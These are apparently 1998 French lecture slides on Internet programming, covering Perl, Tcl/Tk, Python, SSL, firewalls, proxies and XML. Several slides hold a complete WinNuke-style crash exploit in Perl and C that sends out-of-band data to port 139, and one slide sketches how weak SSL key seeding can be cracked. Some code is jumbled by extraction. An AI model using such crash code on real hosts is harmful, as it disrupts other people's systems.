Download Java Par L'exemple : Le serveur

Survey
yes no Was this document useful for you?
   Thank you for your participation!

* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project

Document related concepts
no text concepts found
Transcript
Programmation Internet
et Intranet
S. Frénot INSA Lyon 1998
[email protected]
http://lisisun1/~sfrenot/cours/
1
Déroulement du cours
• Architecture Web de base
• Architecture Web dynamique
• Client / Serveur de données
• Java
• Architectures distribués
• Les compléments
2
Les approches de PII
• Modèle Initial
– Approche documentaire : HTML/HTTP, Internet
• Avantage / Inconvénients
• Modèle Avancé
– Approche objets distribués : Java/Corba, Intranet
• Avantage / Inconvénients
3
Les langages de script
• Langages de script
–
–
–
–
–
Interprété
Suivent la Loi de Moore
Objets distribués / Composants
Légers et modulaires
Portés sur de nombreux environnements
• Client : Script Documentaire
– JavaScript, Python, Tcl/Tk
– Visuel
• Serveur : Shell puissants
– Perl, Tcl, Tk
– Prototypage
4
Perl
• TMTOWTDI : "Tim-Toady"
• 1 : Simplifier les tâches faciles
• 2 : Ne pas empêcher les tâches difficiles
==> Larry Wall
Linguiste
Notion de langue et d'interprétation contextuelle et tardive
Nom, Verbe, Singulier et Pluriel
5
Perl
• "Practical Extraction and Report Language"
• Interprété
• Modulaire
– 446 Modules : "use module"
• Simple / Complexe
• Efficace
• Orienté
– traitement de chaînes
– Accès fichiers
– Accès réseau
6
Perl : Exemple
#!/usr/local/bin/perl
print "Content-Type:text/html\n\n<HTML><BODY>";
open (NOTES, "notes") or die "Ouverture impossible : $!\n";
while ($ligne=<NOTES>) {
($etudiant, $note) = split(/ /, $ligne);
chomp($note);
$notes{$etudiant} .= $note.' ';}
foreach $etudiant (sort keys %notes) {
$scores,$note, $total=0;
@notes = split(/ /, $notes{$etudiant});
foreach $note(@notes) {
$total+=$note;
$scores++;}
$moyenne = $total/$scores;
print "<PRE>$etudiant : $notes{$etudiant}\tMoyenne: $moyenne\n<BR>";}
print "</body></html>";
7
Perl : 5.004
• Accès aux Bases de données
– DBD, DBI ==> ODBC
• Accès aux Formulaires HTML
– CGI.pm, HTML.pm
• Accès aux variables systèmes de la machine
• Porté sur Win32, Unix, MacIntosh
• Communauté Internet
ftp://ftp.pasteur.fr/pub/Perl/
8
TCL/Tk
• Tool Command Langage ==> Shell de programmation
• ToolKit ==> Widgets de présentation
Toute architecture de programmation importante utilise deux
classes de langage
= un langage compilé, efficace pour l'algorithmie (cobol, c,
c++ ...)
= un autre, interprété, utilisé comme glue pour "piloter" et
personnaliser les différentes fonctionnalités de
l'application
==> John Ousterhout (Sun)
9
TCL
#!/usr/local/bin/tclsh8.0
set envvars {SERVER_SOFTWARE SERVER_NAME
GATEWAY_INTERFACE SERVER_PROTOCOL
SERVER_PORT REQUEST_METHOD
PATH_INFO PATH_TRANSLATED SCRIPT_NAME
QUERY_STRING REMOTE_HOST REMOTE_ADDR
REMOTE_USER AUTH_TYPE CONTENT_TYPE
CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER
HTTP_USER_AGENT}
puts "Content-type: text/html\n"
puts "<HTML><BODY>"
puts"<H1>Message</H1><PRE>"
puts "</PRE><H1>Environment
Variables</H1>"
foreach var $envvars {
if {[info exists env($var)]} {
puts "<DT>$var<DD>$env($var)"}}}
if {[string compare
$env(REQUEST_METHOD) "POST"]==0}{
set message [split [read stdin
$env(CONTENT_LENGTH)] &]
} else {
set message [split
$env(QUERY_STRING) &]
}
foreach pair $message {
set name [lindex [split $pair =] 0]
set val [lindex [split $pair =] 1]
puts "$name\t= $val"
}
puts "</BODY></HTML>"
10
Tk

Créer l'interface utilisateur en écrivant les scripts Tcl.

Hello, world:
button .hello -text "Hello, world" -command exit
pack .hello

Explorateur Windows : 30 lignes
Browser Web : 2000 lignes

10x moins de code pour des choses simples.

11
TCL / Tk
• 1 Librairie de procédures C pour développeurs
• L'interpréteur est pilotable en C
Tcl_Interp * interp;
interp = Tcl_CreateInterp();
int code;
code=Tcl_Eval(interp, "set a 1");
code=Tcl_EvalFile(interp, "init.tcl");
• Créer une nouvelle commande Tcl
int EqCmd(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) {
if (argc != 3) {
interp->result = "wrong # args";
return TCL_ERROR; }
if (!strcmp(argv[1], argv[2])) interp->result = "1";
else interp->result = "0";
return TCL_OK;}
• L'enregistrer sur l'interpréteur
Tcl_CreateCommand(interp, "eq", EqCmd, (ClientData) NULL, ...);
12
TCL / Tk
• Largement utilisé
• Le plus puissant
• Choisi comme langage de script de Java
• Efficace
• Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd, WebTk, Exmh
• http://www.sunscript.com/
13
Python
•
•
•
•
•
•
•
•
Portable, interprété, orienté objet (ABC, C, Modula-3, Icon)
Facile à apprendre
Script CGI, Administration de systèmes, Prototypage
Indépendant de la plateforme : Tk comme bibliothèque
graphique, génère du byte-code
Multiniveaux : Scripts shell, ou librairies oo
Extensible: branchement sur les autres binaires (Microsoft
FC, MacOS ToolBox)
Imbriquable : Script => HTML, BD, Environnement
==> Just et Guido van Rossum (CNRI : Corporation for
National Research Institute)
14
Python : exemple
#!/usr/local/lib/python
import posix
import string
uid=`posix.getuid()`
passwd=open('/etc/passwd')
for line in passwd.readline():
rec=string.splitfields(line, ':')
if rec[2] == uid:
print 'bonjour', rec[0]
break
else:
print 'Non trouve'
#!/usr/local/lib/python
import time
JOUR = 24*3600
class Date:
def __init__(self, date):
self.date=date
def __repr__(self):
s=time.ctime(self.date)
return s[:11]+s[-4:]
def demain(self): return self+1
def hier(self): return self -1
def __add__(self, nbjours):
return Date (self.date+nbjours*JOUR)
__radd___=__add__
def __sub__(self, autre)
if hasattr(autre, 'date'):
return int (self.date/JOUR) - int(other.date/JOUR)
else:
return self.__add__(-other)
aujourdhui=Date(time.time( ))
print aujourdhui.demain( )-ajourdhui.hier( )
15
Python
• http://www.python.org
• modules
– chaines, Expression Régulières, posix, sockets, threads,
multimédia, cryptographie, STDWIN, Internet/WWW
• Utilisé pour l'interface utilisateur de Linux RedHat 5
• Exemple utilisé pour les tags OBJECT d'HTML 4
16
Disponibilité des langages
• Vitesse de développement => Economie
• Utiliser les bons outils
• Marché en expansion
• Se faire plaisir
17
Exemple
#!/opt/bin/perl
use strict;
use Socket;
$h = "$ARGV[0]";
$p = 139 if (!$ARGV[1]);
if (!$h) {print "Un nom de machine doit être fournit. Ex: www.microsoft.com\n";}
$in_addr = (gethostbyname($h))[4];
$addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
print "Adresse visée$in_addr addr $addr proto $proto\n";
socket(S, AF_INET, SOCK_STREAM, $proto) || die $!;
connect(S,$addr) or die $!;
$| = 1;
print STDOUT "Nuking: $h:$p\n";
send S,"Au revoir",MSG_OOB;
perl -MIO::Socket -e 'IO::Socket::INET->
print STDOUT "Nuked!\n";
new(PeerAddr=>"some.windoze.box")->
close S; STDOUT
send("bye",MSG_OOB)'
18
Equivalent C
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 139
int x, s;
char *str = "Bye";
struct sockaddr_in addr,
spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he>h_length);
} else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
19
}
Equivalent C Suite
void main(int argc, char *argv[]) { if (argc != 2) {
printf("Usage: %s <target>\n",argv[0]);
exit(0);
}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1); }
open_sock(s,argv[1],dport);
printf("Sending crash... ");
send(s,str,strlen(str),MSG_OOB);
usleep(100000);
printf("Done!\n");
close(s);
}
20
Compléments
21
Cryptage SSL (HTTPS)
• Encodage sur une clé unique connue du client et du
serveur
• Le client génère aléatoirement un nombre
• Puis le transfère de manière cryptée au serveur
• Celui-ci encode les messages à l'aide de ce nombre
==> mais ...
22
Crack !
global variable racine;
RNG_CreeContexte( )
(secondes, microsecondes) =
maintenant:!
pid=process ID; ppid= parent process ID;
a=mklcpr(microsecondes);
b=mklcpr(pid+seconds+(ppid<<12));
racine=MD5(a,b);
mklcpr(x)
return ((0xDEECE66D * x
+0x2BBB62DC) >> 1);
RNG_GenereNombreAleatoire( )
x=MD5(seed);
seed=seed+1;
return x;
global variable debut, clé_secrete;
Creer_cle ( )
RNG_CreeContexte( );
tmp= RNG_GenereNombreAleatoire();
tmp= RNG_GenereNombreAleatoire();
debut= RNG_GenereNombreAleatoire();
clé_secrete=RNG_GenereNombreAleatoire();
MD5()
23
FireWall
• FireWall : Pare-Feu
• Filtrage des paquets
• Table de filtrage des ports de connexion
–
–
–
–
Inbound HTTP www.interne.com
Outbound HTTP www.externe.com
Inbound telnet telnet.interne.com
Sinon interdit
• Tunneling Protocol
• Encodage d'une session
• Reseaux privés virtuels
24
Proxy
• Cache des documents transférés
–
–
–
–
Cache mémoire sur le client
Cache disque sur le client
Serveur Cache local
Serveurs Cache nationaux
• Fonctions
–
–
–
–
Disponibilité,
Maintenabilité
Pre-caching
Baisse de la charge
• Difficulté :?
25
Serveur Proxy
proxy.univ-lyon1.fr 3128
function FindProxyForURL(url, host) {
if (isPlainHostName(host))
return "DIRECT";
if ( dnsDomainIs( host,"univ-lyon1.fr")||
dnsDomainIs(host,"cpe.fr") ||
dnsDomainIs(host,"enssib.fr") ||
dnsDomainIs(host,"cermep.fr") ||
dnsDomainIs(host,"dr7.cnrs.fr") ||
dnsDomainIs(host,"www.dsi.cnrs.fr") ||
dnsDomainIs(host,"insa-lyon.fr"))
return "DIRECT";
if (url.substring(0, 5) == "http:" ||url.substring(0, 7) == "gopher:")
return "PROXY proxy.univ-lyon1.fr:3128; DIRECT";
if (url.substring(0, 5) == "wais:") return "PROXY web.univ-lyon2.fr:8001";
else return "DIRECT";
}
26
Push
• Anticiper la demande de l'utilisateur
=> Lui fournir l'information avant qu'il ne la cherche
=> Retourner le modèle du Web
=> L'utilisateur négocie une politique de push
=> Notion de canaux de diffusion
27
Push
• Approche diffusion Commerciale
–
Diffusion de canaux d'information
• BackWeb : Personnalisation et Segmentation, infopacks
• Pointcast (1996) : Pionnier, émetteur unique !
• Approche diffusion Logiciel
–
–
Marimba : Société (JavaFund)
Castanet : Emetteur, Tuner, Proxy, GateWay
=> Technologies PUSH : Bonnet, Macary, Eyrolles
Informatiques
28
Faiblesses de HTML
•
•
•
•
•
•
•
•
•
•
Pas de gestion des hyperliens
Pas de contrôle de la syntaxe
Pas d'extensibilité possible
Pas de structures
Pas de distinction sur (forme/fond)
Pas de support d'internationalisation
Pas de support pour l'échange de données
Pas de réutilisation
Contenu dynamique
Orientation Objet
29
Langage de documents DHTML
• Scripts + Feuilles de styles (JavaScript+CSS)
• Approche OO d'un document
– Fondé sur le DOM (Document Object Model) du W3C
– Programmation plus souple
• Incompatibilité Microsoft/Netscape
=> HTML++
30
Meta-Langage de document XML
• eXtensible Markup Langage
• Représenter n'importe quel document avec des tags logiques
• Langage de programmation DSSSL
– Lisp (Scheme)
• Documents Bien Formés
• DTD du document
==> SGML -==> Jim Clark : SP Parser, Jade ...
31
Architectures
32
Evolution du Web
33
Anneaux de diffussion
• Interconnexion de sites Web
• Mettre en commun des utilisateurs sur un sujet
• Définir des sous-réseau logiques d'information
• Site central qui diffuse les entêtes des documents
• Diffusion aux abonnés d'un cgi à insérer dans les
documents
• ==> PilotGear
34